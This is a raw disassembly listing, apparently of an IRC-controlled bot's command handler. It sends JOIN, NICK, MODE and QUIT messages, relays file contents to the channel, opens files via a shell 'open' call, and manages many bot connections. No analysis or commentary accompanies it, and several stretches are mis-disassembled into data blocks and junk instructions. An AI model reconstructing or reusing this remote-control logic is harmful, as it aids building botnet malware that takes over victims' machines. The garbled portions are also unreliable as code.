		push	dword ptr [ebp+20h]
		push	offset aIds443vbq ; "ids443vbq"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D841
		lea	eax, [ebp-3E8h]
		push	eax
		push	104h
		call	near ptr 0A70000h
		sub	[eax-1], ebp
; ---------------------------------------------------------------------------
		dd 8D000000h, 0FFF87885h, 0E85057FFh, 5A50h, 0FF1C858Dh
		dd 0E850FFFFh, 3134h, 18858D50h, 50FFFFFCh, 0F978858Dh
		dd 0BC68FFFFh, 500042C7h, 423EE8h, 35848B00h, 0FFFFFF78h
		dd 3B20C483h, 7C85C7C3h, 1FFFFFAh, 89000000h, 0FFFA809Dh
		dd 6A1474FFh, 0E8505310h, 55CDh, 890CC483h, 0FFFA8885h
		dd 8906EBFFh, 0FFFA889Dh, 35B48BFFh, 0FFFFFF7Ch, 0F74F33Bh
		dd 4761E856h, 89590000h, 0FFFA8485h, 8906EBFFh,	0FFFA849Dh
		dd 85B60FFFh, 0FFFFF651h, 6A0C758Bh, 74B5FF7Fh,	89FFFFFFh
		dd 0FFFA8C85h, 0F8858DFFh, 89FFFFF7h, 0FFF7F4B5h, 0A9E850FFh
		dd 8B000059h, 8957FC45h, 0FFFA9485h, 0F8458BFFh, 0FA908589h
		dd 858DFFFFh, 0FFFFFD1Ch, 42C77C68h, 98E85000h,	56000041h
		dd 0FD1C858Dh, 166AFFFFh, 3C35E850h, 0C4830000h, 78858924h
		dd 8DFFFFFAh, 8D50F045h, 0FFF7F485h, 685053FFh,	40902Ah
		dd 15FF5353h, 41D064h, 0FA788D8Bh, 0C969FFFFh, 234h, 8189C33Bh
		dd 437034h, 9D391274h, 0FFFFFA98h, 326A3A75h, 0D05015FFh
		dd 0EEEB0041h, 0D06015FFh, 68500041h, 42C72Ch
; ---------------------------------------------------------------------------


loc_40D830:				; CODE XREF: seg000:0040E020j
					; seg000:0040E02Aj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963


loc_40D83C:				; CODE XREF: seg000:0040E99Cj
		add	esp, 0Ch
		jmp	short loc_40D854
; ---------------------------------------------------------------------------


loc_40D841:				; CODE XREF: seg000:0040D6D6j
		lea	eax, [ebp-2E4h]
		push	offset unk_42C6D4
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_40D854:				; CODE XREF: seg000:0040D83Fj
					; seg000:0040DFA3j
		cmp	[ebp-8], ebx
		jnz	short loc_40D875
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40D875:				; CODE XREF: seg000:0040D857j
					; seg000:0040EEF8j ...
		mov	esi, [ebp+2Ch]
		jmp	loc_40D610
; ---------------------------------------------------------------------------


loc_40D87D:				; CODE XREF: seg000:0040BE60j
					; seg000:0040BE77j
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A60B
		cmp	[ebp-0Ch], ebx
		jz	loc_40A60B
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42C6C4
		push	eax
		call	sub_411963
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_413150
		push	edi
		call	sub_411ECF
		add	esp, 30h
		test	eax, eax
		jle	short loc_40D904
		push	edi
		call	sub_411ECF
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_41D050	; Sleep


loc_40D904:				; CODE XREF: seg000:0040D8EEj
		push	offset dword_42C69C
		call	sub_408CFE
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_40A60E
; ---------------------------------------------------------------------------


loc_40D918:				; CODE XREF: seg000:0040BE32j
					; seg000:0040BE49j
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A60B
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		mov	esi, eax
		mov	eax, [ebp+20h]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_411D80
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_40D9D4
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42C6C4
		push	eax
		call	sub_411963
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_413150
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42C668
		push	eax
		call	sub_411963
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		push	edi
		call	sub_411ECF
		add	esp, 38h
		test	eax, eax
		jle	loc_40F247
		push	edi
		call	sub_411ECF
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_40A60E
; ---------------------------------------------------------------------------


loc_40D9D4:				; CODE XREF: seg000:0040D95Dj
		push	offset dword_42C620
		jmp	loc_40C32D
; ---------------------------------------------------------------------------


loc_40D9DE:				; CODE XREF: seg000:0040BE04j
					; seg000:0040BE1Bj
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42C618
		push	eax
		call	sub_411963
		push	edi
		call	sub_411ECF
		add	esp, 10h


loc_40D9FB:				; CODE XREF: seg000:0040DA65j
		test	eax, eax
		jle	loc_40F247
		push	edi
		call	sub_411ECF
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F247


loc_40DA15:				; CODE XREF: seg000:0040E13Bj
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_41FE50
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43702C[eax]
		call	sub_40F420


loc_40DA39:				; CODE XREF: seg000:0040EFD7j
		add	esp, 0Ch
		jmp	loc_40F247
; ---------------------------------------------------------------------------


loc_40DA41:				; CODE XREF: seg000:0040BDD6j
					; seg000:0040BDEDj
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp+20h]
		push	offset dword_42C60C
		push	eax
		call	sub_411963
		push	edi
		call	sub_411ECF
		add	esp, 14h
		jmp	short loc_40D9FB
; ---------------------------------------------------------------------------


loc_40DA67:				; CODE XREF: seg000:0040BDA8j
					; seg000:0040BDBFj
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42C604
		push	eax
		call	sub_411963
		push	edi
		call	sub_411ECF
		add	esp, 10h
		test	eax, eax
		jle	loc_40F247
		push	edi
		call	sub_411ECF
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F247
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_41FE50
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43702C[eax]
		call	sub_40F420
		push	dword ptr [ebp+20h]
		push	edi
		push	offset dword_42C5D4


loc_40DACB:				; CODE XREF: seg000:0040DB55j
					; seg000:0040DBC0j ...
		call	sub_408D72


loc_40DAD0:				; CODE XREF: seg000:0040ECA4j
		add	esp, 18h
		jmp	loc_40F247
; ---------------------------------------------------------------------------


loc_40DAD8:				; CODE XREF: seg000:0040BD7Aj
					; seg000:0040BD91j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40DB09
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42C5CC
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_40DB09:				; CODE XREF: seg000:0040DAF2j
		push	edi
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		jle	loc_40F247
		push	edi
		call	sub_411ECF
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F247
		lea	eax, [ebp-2E4h]
		push	eax
		push	offset dword_41FE50
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43702C[eax]
		call	sub_40F420
		push	esi
		push	edi
		push	offset dword_42C59C
		jmp	loc_40DACB
; ---------------------------------------------------------------------------


loc_40DB5A:				; CODE XREF: seg000:0040BD4Cj
					; seg000:0040BD63j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40F247
		push	edi
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		jle	loc_40F247
		push	edi
		call	sub_411ECF
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F247
		push	esi
		push	offset dword_41FE50
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43702C[eax]
		call	sub_40F420
		push	esi
		push	edi
		push	offset dword_42C56C
		jmp	loc_40DACB
; ---------------------------------------------------------------------------


loc_40DBC5:				; CODE XREF: seg000:0040BD1Ej
					; seg000:0040BD35j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40F247
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	esi
		push	offset dword_42C530


loc_40DBF7:				; CODE XREF: seg000:0040E2E0j
					; seg000:0040E2F9j ...
		call	sub_408D72


loc_40DBFC:				; CODE XREF: seg000:0040DC65j
		add	esp, 14h
		jmp	loc_40F247
; ---------------------------------------------------------------------------


loc_40DC04:				; CODE XREF: seg000:0040BCF0j
					; seg000:0040BD07j
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A60B
		push	dword ptr [ebp+20h]
		push	offset dword_42C524
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	edi
		call	sub_411ECF
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_41D050	; Sleep
		push	dword ptr [ebp+esi-88h]
		push	dword ptr [ebp+20h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	offset dword_42C4FC
		call	sub_408CFE
		jmp	short loc_40DBFC
; ---------------------------------------------------------------------------


loc_40DC67:				; CODE XREF: seg000:0040BCC2j
					; seg000:0040BCD9j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	edi
		call	sub_411FB0
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_411FB0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_411F30
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40F247
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset dword_42CD00
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		push	esi
		push	edi
		push	offset dword_42C4CC
		call	sub_408D72
		add	esp, 2Ch
		jmp	loc_40F247
; ---------------------------------------------------------------------------


loc_40DCD5:				; CODE XREF: seg000:0040BC94j
					; seg000:0040BCABj
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	edi
		call	sub_411FB0
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_411FB0
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_411F30
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40F247
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		push	esi
		push	edi
		push	offset dword_42C49C
		call	sub_408D72
		jmp	loc_40C996
; ---------------------------------------------------------------------------


loc_40DD28:				; CODE XREF: seg000:0040BC66j
					; seg000:0040BC7Dj
		cmp	[ebp-0Ch], ebx
		jz	loc_40A60B
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40A60B
		push	eax
		push	edi
		call	sub_408C06
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42C46C
		push	eax
		call	sub_411963
		add	esp, 14h
		jmp	loc_40C3DA
; ---------------------------------------------------------------------------


loc_40DD67:				; CODE XREF: seg000:0040BC26j
					; seg000:0040BC3Dj
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_411F30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F247
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_40DE04
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40DDEC
		push	esi
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset dword_42C6C4
		push	eax
		call	sub_411963
		lea	eax, [ebp-2E4h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_413150
		push	esi
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42C434
		push	eax
		call	sub_411963
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_40EEBA
; ---------------------------------------------------------------------------


loc_40DDEC:				; CODE XREF: seg000:0040DD94j
		lea	eax, [ebp-2E4h]
		push	offset dword_42C3F0
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx
		jmp	loc_40EEBA
; ---------------------------------------------------------------------------


loc_40DE04:				; CODE XREF: seg000:0040DD83j
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_408B40
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		push	edi
		push	offset dword_42C3C4
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 24h
		jmp	loc_40EEBA
; ---------------------------------------------------------------------------


loc_40DE4B:				; CODE XREF: seg000:0040B95Cj
					; seg000:0040B973j
		push	offset aR	; "r"
		push	edi
		call	sub_412F9E
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40DEC5
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		call	sub_413AEC
		add	esp, 0Ch


loc_40DE74:				; CODE XREF: seg000:0040DEA3j
		test	eax, eax
		jz	short loc_40DEA5
		push	1
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		call	sub_413AEC
		add	esp, 20h
		jmp	short loc_40DE74
; ---------------------------------------------------------------------------


loc_40DEA5:				; CODE XREF: seg000:0040DE76j
		push	esi
		call	sub_412E40
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42C388
		push	eax
		call	sub_411963
		add	esp, 10h
		jmp	loc_40EEBA
; ---------------------------------------------------------------------------


loc_40DEC5:				; CODE XREF: seg000:0040DE5Cj
		push	edi
		push	offset dword_42C354
		jmp	loc_40C32D
; ---------------------------------------------------------------------------


loc_40DED0:				; CODE XREF: seg000:0040B92Ej
					; seg000:0040B945j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40F247
		push	offset asc_4209BC ; "\n"
		push	esi
		call	sub_412FD0
		push	esi
		call	sub_4083A4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40DF10
		push	offset dword_42C314
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40DF10:				; CODE XREF: seg000:0040DF04j
		push	esi
		push	offset dword_42C2E8
		jmp	loc_40EEAB
; ---------------------------------------------------------------------------


loc_40DF1B:				; CODE XREF: seg000:0040B900j
					; seg000:0040B917j
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F247
		push	eax
		call	sub_407A88
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF4C
		push	offset unk_42C2B8
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40DF4C:				; CODE XREF: seg000:0040DF40j
		push	offset dword_42C288
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40DF56:				; CODE XREF: seg000:0040B8D2j
					; seg000:0040B8E9j
		push	ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	loc_404B53
		push	edi
		push	offset dword_42C260
		jmp	loc_40DACB
; ---------------------------------------------------------------------------


loc_40DF71:				; CODE XREF: seg000:0040B8A4j
					; seg000:0040B8BBj
		push	edi
		call	near ptr 0A70000h
		push	esp
		test	eax, eax
		jz	short loc_40DF84
		push	edi
		push	offset dword_42C230
		jmp	short loc_40DF8F
; ---------------------------------------------------------------------------


loc_40DF84:				; CODE XREF: seg000:0040DF7Aj
		push	offset dword_42C82C
		call	sub_4079C3
		push	eax


loc_40DF8F:				; CODE XREF: seg000:0040DF82j
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 10h
		jmp	loc_40D854
; ---------------------------------------------------------------------------


loc_40DFA8:				; CODE XREF: seg000:0040B876j
					; seg000:0040B88Dj
		push	edi
		call	sub_411ECF
		push	eax
		call	sub_41077B
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_40DFC5
		push	offset dword_42C1F8
		jmp	short loc_40DFCA
; ---------------------------------------------------------------------------


loc_40DFC5:				; CODE XREF: seg000:0040DFBCj
		push	offset dword_42C1B0


loc_40DFCA:				; CODE XREF: seg000:0040DFC3j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_40D610
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h
		jmp	loc_40D610
; ---------------------------------------------------------------------------


loc_40E003:				; CODE XREF: seg000:0040B848j
					; seg000:0040B85Fj
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	loc_4104EC
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_40E025
		push	offset dword_42C178
		jmp	loc_40D830
; ---------------------------------------------------------------------------


loc_40E025:				; CODE XREF: seg000:0040E019j
		push	offset dword_42C134
		jmp	loc_40D830
; ---------------------------------------------------------------------------


loc_40E02F:				; CODE XREF: seg000:0040B81Aj
					; seg000:0040B831j
		push	edi
		call	ds:dword_431ED0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_40E06C
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	ds:dword_431E48
		cmp	eax, ebx
		jz	short loc_40E087
		push	dword ptr [eax]


loc_40E052:				; CODE XREF: seg000:0040E085j
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42C104
		push	eax
		call	sub_411963
		add	esp, 10h
		jmp	loc_40C33C
; ---------------------------------------------------------------------------


loc_40E06C:				; CODE XREF: seg000:0040E03Cj
		push	edi
		call	ds:dword_431F14
		cmp	eax, ebx
		jz	short loc_40E087
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_431F1C
		push	eax
		jmp	short loc_40E052
; ---------------------------------------------------------------------------


loc_40E087:				; CODE XREF: seg000:0040E04Ej
					; seg000:0040E075j
		push	offset dword_42C0C8
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40E091:				; CODE XREF: seg000:0040B7ECj
					; seg000:0040B803j
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_413150
		push	edi
		lea	eax, [ebp-2E4h]
		push	offset dword_42C090
		push	eax
		call	sub_411963
		add	esp, 18h
		jmp	loc_40D5EC
; ---------------------------------------------------------------------------


loc_40E0B6:				; CODE XREF: seg000:0040B7BEj
					; seg000:0040B7D5j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_431E04
		test	eax, eax
		push	edi
		jz	short loc_40E0D6
		push	offset unk_42C060
		jmp	loc_40D830
; ---------------------------------------------------------------------------


loc_40E0D6:				; CODE XREF: seg000:0040E0CAj
		push	offset unk_42C028
		jmp	loc_40D830
; ---------------------------------------------------------------------------


loc_40E0E0:				; CODE XREF: seg000:0040B790j
					; seg000:0040B7A7j
		mov	al, [edi]
		mov	ds:byte_42437C,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_42BFF0
		jmp	loc_40F1C4
; ---------------------------------------------------------------------------


loc_40E0F5:				; CODE XREF: seg000:0040B762j
					; seg000:0040B779j
		push	edi
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		jle	loc_40F247
		push	edi
		call	sub_411ECF
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40F247
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_410B4D
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42C604
		push	eax
		call	sub_411963
		add	esp, 1Ch
		jmp	loc_40DA15
; ---------------------------------------------------------------------------


loc_40E140:				; CODE XREF: seg000:0040B734j
					; seg000:0040B74Bj
		push	edi
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		jle	loc_40A60B
		push	edi
		call	sub_411ECF
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40A60B
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43702C[eax]
		call	sub_40F420
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_41D050	; Sleep
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43702C[eax]
		call	ds:dword_431F28
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_437034[eax]
		call	near ptr 0A70000h
		lahf
		push	edi
		call	sub_411ECF
		imul	eax, 234h
		push	edi
		mov	ds:dword_437034[eax], ebx
		call	sub_411ECF
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_436E20[eax], bl
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40E1EB:				; CODE XREF: seg000:0040B706j
					; seg000:0040B71Dj
		push	edi
		push	offset aAll	; "all"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21A
		call	sub_4115D8
		cmp	eax, ebx
		jle	short loc_40E210
		push	eax
		push	offset dword_42BFA0
		jmp	loc_40C3CB
; ---------------------------------------------------------------------------


loc_40E210:				; CODE XREF: seg000:0040E203j
		push	offset dword_42BF64
		jmp	loc_40EA1D
; ---------------------------------------------------------------------------


loc_40E21A:				; CODE XREF: seg000:0040E1FAj
		mov	eax, [ebp-0ACh]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40A60B
		lea	eax, [ebp+edi*4-94h]
		mov	[ebp+2Ch], eax


loc_40E236:				; CODE XREF: seg000:0040E2A7j
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40A60B
		push	esi
		call	sub_411ECF
		push	eax
		call	sub_41154A
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40E25D
		push	offset dword_42BF2C
		jmp	short loc_40E262
; ---------------------------------------------------------------------------


loc_40E25D:				; CODE XREF: seg000:0040E254j
		push	offset dword_42BEEC


loc_40E262:				; CODE XREF: seg000:0040E25Bj
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40E292
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40E292:				; CODE XREF: seg000:0040E274j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_408CFE
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40E236
		jmp	loc_40A60B
; ---------------------------------------------------------------------------


loc_40E2AE:				; CODE XREF: seg000:0040B6D8j
					; seg000:0040B6EFj
		cmp	[ebp-0Ch], ebx
		jz	loc_40F247
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40F247
		push	esi
		push	offset dword_41FE50
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	esi
		push	offset dword_42BEC0
		jmp	loc_40DBF7
; ---------------------------------------------------------------------------


loc_40E2E5:				; CODE XREF: seg000:0040B6AAj
					; seg000:0040B6C1j
		push	edi
		push	offset dword_42C524
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	edi
		push	offset dword_42BE8C
		jmp	loc_40DBF7
; ---------------------------------------------------------------------------


loc_40E2FE:				; CODE XREF: seg000:0040B67Cj
					; seg000:0040B693j
		push	dword ptr [ebp+esi-8Ch]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	edi
		push	offset dword_42BE58
		jmp	loc_40DACB
; ---------------------------------------------------------------------------


loc_40E31E:				; CODE XREF: seg000:0040B64Ej
					; seg000:0040B665j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F420
		push	edi
		push	offset dword_42BE20
		jmp	loc_40DBF7
; ---------------------------------------------------------------------------


loc_40E337:				; CODE XREF: seg000:0040B613j
					; seg000:0040B628j
		mov	al, ds:byte_421202
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_421202
		jz	loc_40A60B
		mov	ecx, edx


loc_40E34E:				; CODE XREF: seg000:0040E356j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40E34E
		cmp	al, bl
		jz	loc_40A60B
		mov	[ebp+20h], edx


loc_40E363:				; CODE XREF: seg000:0040E621j
		push	8
		call	sub_411657
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_40E3B2
		push	ecx
		lea	eax, [ebp-2E4h]
		push	offset dword_42CE30
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 20h
		jmp	loc_40E618
; ---------------------------------------------------------------------------


loc_40E3B2:				; CODE XREF: seg000:0040E37Dj
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_421040, ebx
		mov	dword ptr [ebp-304h], 41h
		mov	dword ptr [ebp-318h], 5
		mov	dword ptr [ebp-314h], 1F4h
		mov	[ebp+8], ebx
		jz	short loc_40E423
		mov	eax, [ebp+20h]
		mov	edi, offset dword_421040
		lea	esi, [eax-0Ah]


loc_40E3ED:				; CODE XREF: seg000:0040E405j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E409
		inc	dword ptr [ebp+8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40E3ED
		jmp	short loc_40E423
; ---------------------------------------------------------------------------


loc_40E409:				; CODE XREF: seg000:0040E3FBj
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_421040[ecx]
		mov	[ebp-31Ch], ecx


loc_40E423:				; CODE XREF: seg000:0040E3E0j
					; seg000:0040E407j
		cmp	[ebp-31Ch], ebx
		jz	loc_40E62C
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-0D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_431E34
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-0D4h], eax
		push	dword ptr [ebp-0D4h]
